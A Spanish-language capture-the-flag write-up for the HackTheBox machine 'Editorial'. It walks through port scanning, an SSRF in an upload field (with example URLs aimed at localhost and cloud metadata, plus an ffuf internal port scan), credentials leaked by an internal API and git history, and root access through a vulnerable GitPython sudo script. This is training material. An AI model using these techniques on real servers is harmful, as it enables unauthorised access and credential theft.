Editorial
Easy · Linux · 2026-05-22
Información de la máquina
| Campo | Detalle |
|---|---|
| Plataforma | HackTheBox |
| Sistema operativo | Linux |
| Dificultad | Fácil |
| Categoría | Linux |
| Fecha | — |
Reconocimiento
Nmap
nmap -p- --open -sS -sC -sV --min-rate 2000 -n -Pn 10.129.2.150 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-22 05:44 EDT
Nmap scan report for 10.129.2.150
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds
| Puerto | Estado |
|---|---|
| 22/tcp | open |
| 80/tcp | open |
Enumeración Web

Si le damos al boton de publish with us, nos lleva al directorio /upload:

Botón preview:
En el primer campo, nos comenta lo siguiente: URL de portada relacionada con su libro o (dando pie al segundo boton).
Si nos levantamos un servidor por el puerto 80 e intentamos hacer una petición poniendo la url, vemos que se nos hace la petición:

Vemos que hay una conexion, vamos a ver con burp como está funcionando por atrás:

Nos devuelve una ruta:

Vamos a hacer lo mismo apuntando a alguna ruta con algun archivo:

Nada, nos da lo mismo.
Lo que podemos probar, es hacer una petición a si mismo a ver como responde:
SSRF (Server-Side Request Forgery) es un ataque en el que consigues que el servidor haga peticiones HTTP en tu nombre.
Cómo funciona
El servidor tiene una funcionalidad que acepta una URL y hace una petición a ella:
https://web.com/fetch?url=https://ejemplo.com/imagen.png
El atacante cambia esa URL por algo interno:
https://web.com/fetch?url=http://127.0.0.1/admin
https://web.com/fetch?url=http://192.168.1.1/
https://web.com/fetch?url=http://169.254.169.254/latest/meta-data/ ← AWS metadata
El servidor hace la petición desde su propia red → accedes a recursos internos que desde fuera no alcanzarías.
Por qué es poderoso
El servidor suele estar dentro de la red interna, así que puede llegar a:
- Paneles de admin solo accesibles en localhost
- Otros servicios internos (bases de datos, APIs internas)
- Metadata de cloud (AWS/GCP/Azure → robo de credenciales IAM)
- Escanear puertos internos
Ejemplo típico
?url=http://127.0.0.1:22 → responde = puerto abierto
?url=http://127.0.0.1:3306 → responde = MySQL corriendo
?url=http://127.0.0.1:6379 → responde = Redis expuesto
Como bien pone, podemos hacer una enumeración interna, por lo que vamos a ver si nos encontramos algún puerto con peticiones internas:

Esto nos puede tardar muchísimo porque no tenemos la versión pro.
Después de 20 minutos aprox teníamos 140 puertos, hay mas formas de hacerlo:

Nos copiamos la petición cambiando lo que queramos cambiar por un FUZZ:
ffuf -u http://editorial.htb/upload-cover -request req.txt -w <( seq 0 65535) -ac
-u http://editorial.htb/upload-cover- la URL de ffuz.-request ssrf.request- parametro para indicar la petición guardada en un txt-w <( seq 0 65535)- la lista de palabras a probar, que en este caso es la salida delseqcomando usando la sustitución de procesos.-ac- dejar queffufse filtre automáticamente.

Si hacemos una petición con burp de manera manual:

Si navegamos se nos descarga un archivo:

Cualquiera de ellos, solo son pruebas.

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
https://jsonformatter.curiousconcept.com/#
{
"messages":[
{
"promotions":{
"description":"Retrieve a list of all the promotions in our library.",
"endpoint":"/api/latest/metadata/messages/promos",
"methods":"GET"
}
},
{
"coupons":{
"description":"Retrieve the list of coupons to use in our library.",
"endpoint":"/api/latest/metadata/messages/coupons",
"methods":"GET"
}
},
{
"new_authors":{
"description":"Retrieve the welcome message sended to our new authors.",
"endpoint":"/api/latest/metadata/messages/authors",
"methods":"GET"
}
},
{
"platform_use":{
"description":"Retrieve examples of how to use the platform.",
"endpoint":"/api/latest/metadata/messages/how_to_use_platform",
"methods":"GET"
}
}
],
"version":[
{
"changelog":{
"description":"Retrieve a list of all the versions and updates of the api.",
"endpoint":"/api/latest/metadata/changelog",
"methods":"GET"
}
},
{
"latest":{
"description":"Retrieve the last version of api.",
"endpoint":"/api/latest/metadata",
"methods":"GET"
}
}
]
}
Ahora podemos navegar a todos estos endpoints:
/api/latest/metadata/messages/promos:

/api/latest/metadata/messages/authors:
Nos descarga un archivo igual que antes:
{
"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
Nos está hablando que nos dan la bienvenida y nos dan un user y password.
dev:dev080217_devAPI!@
Probamos por ssh:

/apps:

Tenemos un .git, vamos a mirar el historial de commits.


template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: \nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
prod:080217_Producti0n_2023!@
Nuevas credenciales.

sudo -l:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Vemos que tenemos permisos para ejecuta como root lo siguiente **/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py * **
Vamos a ver que pinta tiene el script:
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
No vemos nada raro mas allá de from git import Repo, buscamos en internet a ver si encontramos algo:
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858


Vemos que es vulnerable.
Vemos que justo el parametro que nosotros pasamos como argumento es el vulnerable.

Ya tenemos rce, por lo que solo tenemos que ejecutar algun comando para darnos una revshell o crear un permiso suid a /bin/bash.

bash -p:
